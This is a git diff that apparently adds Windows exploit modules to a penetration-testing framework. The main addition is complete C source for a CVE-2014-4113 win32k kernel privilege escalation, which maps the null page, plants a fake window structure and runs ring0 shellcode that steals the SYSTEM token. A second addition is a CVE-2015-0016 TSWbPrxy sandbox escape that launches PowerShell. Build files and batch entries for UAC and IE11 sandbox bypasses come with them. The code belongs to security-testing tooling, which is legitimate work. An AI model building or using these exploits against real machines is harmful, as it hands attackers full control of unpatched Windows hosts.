0000000000..bc7d2ccb32 --- /dev/null +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c @@ -0,0 +1,499 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Uncomment this line to enable to debug output +//#define DEBUGGING + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifdef DEBUGGING +// only needed because of the output printf stuff when debugging +#include +#endif + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define PTR_SIZE sizeof(UINT_PTR) + +typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID *BaseAddress, + IN PULONG ZeroBits, + IN PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect +); + +typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)( + IN HANDLE ProcessId, + OUT PVOID Process +); + +typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( + _Inout_ PVOID Process +); + +typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)( + _In_ DWORD SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength +); + +typedef struct _SYSTEM_MODULE +{ + HANDLE Reserved1; + PVOID Reserved2; + PVOID ImageBaseAddress; + ULONG ImageSize; + ULONG Flags; + USHORT Id; + USHORT Rank; + USHORT w018; + USHORT NameOffset; + BYTE Name[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG ModulesCount; + SYSTEM_MODULE Modules[0]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +BOOL bWndProcFlag = FALSE; +BOOL bHookCallbackFlag = FALSE; + +WNDPROC lpPrevWndFunc; +DWORD dwMyProcessId = 0; + +lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL; +lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL; +lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; + +#ifdef DEBUGGING +void dprintf(char* pszFormat, ...) +{ + char s_acBuf[2048]; + va_list args; + va_start(args, pszFormat); + vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args); + OutputDebugString(s_acBuf); + va_end(args); +} +#else +#define dprintf(...) +#endif + +long CALLBACK hook_callback_two(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) +{ + EndMenu(); + return -5; +} + +LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM lParam) +{ + if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag) + { + bHookCallbackFlag = TRUE; + if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback)) + { + lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook_callback_two); + } + } + return CallNextHookEx(0, code, wParam, lParam); +} + +LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + if (msg == 289 && !bWndProcFlag) + { + bWndProcFlag = TRUE; + PostMessageA(hwnd, 256, 40, 0); + PostMessageA(hwnd, 256, 39, 0); + PostMessageA(hwnd, 513, 0, 0); + } + return DefWindowProc(hwnd, msg, wParam, lParam); +} + +DWORD_PTR __stdcall get_threadinfo_ptr(void) +{ +#ifdef _M_X64 + PBYTE pTeb = (PBYTE)__readgsqword(0x30); + return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x78)); +#else + PBYTE pTeb = (PBYTE)__readfsdword(0x18); + return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x40)); +#endif +} + + +// Search the specified data structure for a member with CurrentValue. +BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize) +{ + DWORD_PTR dwIndex, dwMask; + + // Microsoft QWORD aligns object pointers, then uses the lower three + // bits for quick reference counting. +#ifdef _M_X64 + dwMask = ~0xf; +#else + dwMask = ~7; +#endif + // dwMask out the reference count. + dwCurrentValue &= dwMask; + + // Scan the structure for any occurrence of dwCurrentValue. + for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++) + { + if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue) + { + // And finally, replace it with NewValue. + pdwStructure[dwIndex] = dwNewValue; + return TRUE; + } + } + + // Member not found. + return FALSE; +} + +int _stdcall shellcode_ring0(int one, int two, int three, int four) +{ + void *pMyProcessInfo = NULL; + void *pSystemInfo = NULL; + PACCESS_TOKEN systemToken; + PACCESS_TOKEN targetToken; + + pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo); + pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo); + + targetToken = pPsReferencePrimaryToken(pMyProcessInfo); + systemToken = pPsReferencePrimaryToken(pSystemInfo); + + // Find the token in the target process, and replace with the system token. + find_and_replace_member((PDWORD_PTR)pMyProcessInfo, + (DWORD_PTR)targetToken, + (DWORD_PTR)systemToken, + 0x200); + return 0; +} + +DWORD WINAPI execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +void win32k_null_page(LPVOID lpPayload) +{ + WNDCLASSA wndClass; + char szNtName[256]; + PVOID pNtBase; + OSVERSIONINFOA versionInfo; + + // Getting Windows version + dprintf("[*] Getting Windows version..."); + memset(&versionInfo, 0, sizeof(OSVERSIONINFOA)); + versionInfo.dwOSVersionInfoSize = 148; + + if (!GetVersionExA(&versionInfo)) + { + dprintf("[!] Failed to get windows version"); + return; + } + + // Solve symbols + dprintf("[*] Solving symbols..."); + + HMODULE hNtdll = LoadLibraryA("ntdll"); + if (hNtdll == NULL) + { + dprintf("[!] Failed to Load ntdll..."); + return; + } + + lZwQuerySystemInformation pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); + if (pZwQuerySystemInformation == NULL) + { + dprintf("[!] Failed to solve ZwQuerySystemInformation"); + return; + } + + pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); + if (pNtAllocateVirtualMemory == NULL) + { + dprintf("[!] Failed to solve NtAllocateVirtualMemory"); + return; + } + + dprintf("[*] Requesting Kernel loaded modules..."); + + ULONG ulSystemInfoBufferSize = 0; + pZwQuerySystemInformation(11, &ulSystemInfoBufferSize, 0, &ulSystemInfoBufferSize); + if (ulSystemInfoBufferSize == 0) + { + dprintf("[!] Requesting pZwQuerySystemInformation required length failed"); + return; + } + + dprintf("[*] pZwQuerySystemInformation required length %d", ulSystemInfoBufferSize); + + PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, ulSystemInfoBufferSize); + if (pSystemInfoBuffer == NULL) + { + dprintf("[!] Allocation for SystemInfo failed"); + return; + } + + if (pZwQuerySystemInformation(11, pSystemInfoBuffer, ulSystemInfoBufferSize, &ulSystemInfoBufferSize) != STATUS_SUCCESS) + { + dprintf("[!] Requesting kernel modules through ZwQuerySystemInformation failed"); + return; + } + + dprintf("[*] Parsing SYSTEM_INFO..."); + + SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer; + + dprintf("[*] %d Kernel modules found", smi->ModulesCount); + + memset(szNtName, 0, 256); + + ULONG i = 0; + while (i < smi->ModulesCount) + { + SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i); + dprintf("[*] Checking module %s", sm->Name); + if (strstr((char *)sm->Name, ".exe")) + { + char *start = strstr((char *)sm->Name, "nt"); + if (start != NULL) + { + pNtBase = sm->ImageBaseAddress; + strncpy_s(szNtName, 256, start, _TRUNCATE); + break; + } + } + i++; + } + + if (szNtName == NULL) + { + dprintf("[!] nt not found"); + return; + } + dprintf("[*] Good! nt found as %s at 0x%08x", szNtName, pNtBase); + + HMODULE hNtKrnl = LoadLibraryA(szNtName); + + dprintf("[*] %s loaded in userspace at: %08x", szNtName, hNtKrnl); + + pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(hNtKrnl, "PsLookupProcessByProcessId"); + + if (pPsLookupProcessByProcessId == NULL) + { + dprintf("[!] Failed to solve PsLookupProcessByProcessId"); + return; + } + + pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl)); + dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId); + + + pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken"); + + if (pPsReferencePrimaryToken == NULL) + { + dprintf("[!] Failed to solve PsLookupProcessByProcessId"); + return; + } + + pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl)); + dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken); + + dwMyProcessId = GetCurrentProcessId(); + + // Register Class + dprintf("[*] Registering class..."); + + memset(&wndClass, 0, sizeof(WNDCLASSA)); + wndClass.lpfnWndProc = wnd_proc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx + wndClass.lpszClassName = "woqunimalegebi"; + + if (!RegisterClassA(&wndClass)) + { + dprintf("[!] RegisterClassA failed "); + return; + } + + // Create Window + dprintf("[*] Creating window..."); + HWND hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL); + + if (hWnd == NULL) + { + dprintf("[!] CreateWindowExA failed"); + return; + } + + // Making everything ready for exploitation... + + dprintf("[*] Allocating null page..."); +#ifdef _M_X64 + ULONGLONG dwBaseAddress = 0x00000000fffffffb; +#else + DWORD dwBaseAddress = 1; +#endif + + SIZE_T sRegionSize = 0x1000; + ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN; + + if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) + { + dprintf("[!] Failed to allocate null page"); + return; + } + + dprintf("[*] Getting PtiCurrent..."); + + DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr(); + + if (dwThreadInfoPtr == 0) + { + LoadLibrary("user32.dll"); + LoadLibrary("gdi32.dll"); + dwThreadInfoPtr = get_threadinfo_ptr(); + } + + if (dwThreadInfoPtr == 0) + { + dprintf("[!] Filed to get current thread information"); + return; + } + + dprintf("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr); + dprintf("[*] Creating a fake structure at NULL..."); + + LPVOID lpPtr = NULL; +#ifdef _M_X64 + (DWORD_PTR)lpPtr = 0x10000000B; + *((PDWORD_PTR)lpPtr) = dwThreadInfoPtr; + + /* win32k!tagWND->bServerSideWindowProc = TRUE */ + (DWORD_PTR)lpPtr = 0x100000025; + *((PBYTE)lpPtr) = 4; + + /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */ + (DWORD_PTR)lpPtr = 0x10000008B; + *((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0; +#else + LPBYTE lpPromisedLand = NULL; + lpPtr = lpPromisedLand + 3; + /* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen) + .text:BF8B93F4 02C mov edi, _gptiCurrent + .text:BF8B93FA 02C cmp edi, [esi + 8]; + .text:BF8B93FD 02C jz loc_BF8B + */ + *(LPDWORD)lpPtr = dwThreadInfoPtr; + + *((LPBYTE)(lpPromisedLand + 0x11)) = 0x4; + + lpPtr = lpPromisedLand + 0x5b; + *(LPDWORD)lpPtr = (DWORD)shellcode_ring0; +#endif + + // Exploit! + + dprintf("[*] Triggering vulnerability..."); + HMENU hMenuOne = CreatePopupMenu(); + if (hMenuOne == NULL) + { + dprintf("[!] First CreatePopupMenu failed"); + return; + } + + MENUITEMINFOA menuOneInfo; + memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA)); + menuOneInfo.cbSize = sizeof(MENUITEMINFOA); + menuOneInfo.fMask = MIIM_STRING; + + if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE) + { + dprintf("[!] First InsertMenuItemA failed"); + DestroyMenu(hMenuOne); + return; + } + + HMENU hMenuTwo = CreatePopupMenu(); + if (hMenuTwo == NULL) + { + dprintf("[!] Second CreatePopupMenu failed"); + DestroyMenu(hMenuOne); + return; + } + + MENUITEMINFOA menuTwoInfo; + memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA)); + menuTwoInfo.cbSize = sizeof(MENUITEMINFOA); + menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU); + menuTwoInfo.dwTypeData = ""; + menuTwoInfo.cch = 1; + menuTwoInfo.hSubMenu = hMenuOne; + + if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE) + { + dprintf("[!] Second InsertMenuItemA failed"); + DestroyMenu(hMenuTwo); + DestroyMenu(hMenuOne); + return; + } + + if (SetWindowsHookExA(WH_CALLWNDPROC, hook_callback, NULL, GetCurrentThreadId()) == NULL) + { + dprintf("[!] SetWindowsHookExA failed :-("); + DestroyMenu(hMenuTwo); + DestroyMenu(hMenuOne); + return; + } + + // 'crash' it! + TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL); + + // If everything worked process should be privileges at this point + dprintf("[!] Executing payload..."); + CreateThread(0, 0, execute_payload, lpPayload, 0, NULL); +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + win32k_null_page(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj new file mode 100755 index 0000000000..8988c99265 --- /dev/null +++ b/external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj @@ -0,0 +1,242 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {E80F11CD-6698-492F-B4B0-1A2348A24BB0} + cve-2014-4113 + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + MachineX86 + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\cve-2014-4113.map + Windows + + + + + false + + + $(OutDir)\cve-2014-4113.lib + MachineX86 + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\cve-2014-4113.map + Windows + + + + + false + + + $(OutDir)\cve-2014-4113.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\" + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2014-4113/make.msbuild b/external/source/exploits/cve-2014-4113/make.msbuild new file mode 100755 index 0000000000..3292289649 --- /dev/null +++ b/external/source/exploits/cve-2014-4113/make.msbuild @@ -0,0 +1,18 @@ + + + + .\cve-2014-4113.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016.sln b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln new file mode 100755 index 0000000000..8edd55e5b0 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32 + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32 + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32 + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt new file mode 100755 index 0000000000..8194dd462a --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview +======================================================================== + +AppWizard has created this cve-2015-0016 DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your cve-2015-0016 application. + + +cve-2015-0016.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +cve-2015-0016.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +cve-2015-0016.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named cve-2015-0016.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp new file mode 100755 index 0000000000..753bd5d368 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.cpp @@ -0,0 +1,46 @@ +// MyExploit.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" +#include + +#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace +#define MAX_ENV 32767 + +bstr_t GetEnv(LPCSTR env) +{ + CHAR buf[MAX_ENV]; + + GetEnvironmentVariable(env, buf, MAX_ENV); + + return buf; +} + +void DoTSWbPrxyExploit() { + HRESULT hr; + IMSTSWebProxy *pUnk; + + CHAR cmdline[] = "TSWbPrxy.exe"; + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + + hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo); + if (hr == 0) + return; + + hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); + if (hr != 0) + return; + + pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD")); + pUnk->Release(); +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoTSWbPrxyExploit(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj new file mode 100755 index 0000000000..3a252cceaa --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj @@ -0,0 +1,105 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450} + Win32Proj + cve20150016 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + MultiByte + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + CompileAsCpp + + + Windows + true + true + true + + + + + + + + + + + + + false + + + false + + + + + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters new file mode 100755 index 0000000000..fe135862f2 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp new file mode 100755 index 0000000000..e23ee055cf --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/dllmain.cpp @@ -0,0 +1,24 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + + diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp new file mode 100755 index 0000000000..0aef05abb6 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// cve-2015-0016.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h new file mode 100755 index 0000000000..677e68a9fa --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/stdafx.h @@ -0,0 +1,16 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include + + + +// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h new file mode 100755 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/cve-2015-0016/cve-2015-0016/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index a7893e8d85..fb39b2e3c5 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -47,13 +47,28 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2014-4113 (track_popup_menu)" + PUSHD CVE-2014-4113 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-1300 (schlamperei)" + PUSHD CVE-2013-1300 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + IF "%ERRORLEVEL%"=="0" ( ECHO "Building bypassuac (on-disk)" PUSHD bypassuac msbuild.exe make.msbuild /target:%PLAT% POPD -) - + +) + IF "%ERRORLEVEL%"=="0" ( ECHO "Building bypassuac (in-memory)" PUSHD bypassuac_injection @@ -61,6 +76,15 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building IE11 Sandbox bypasses" + 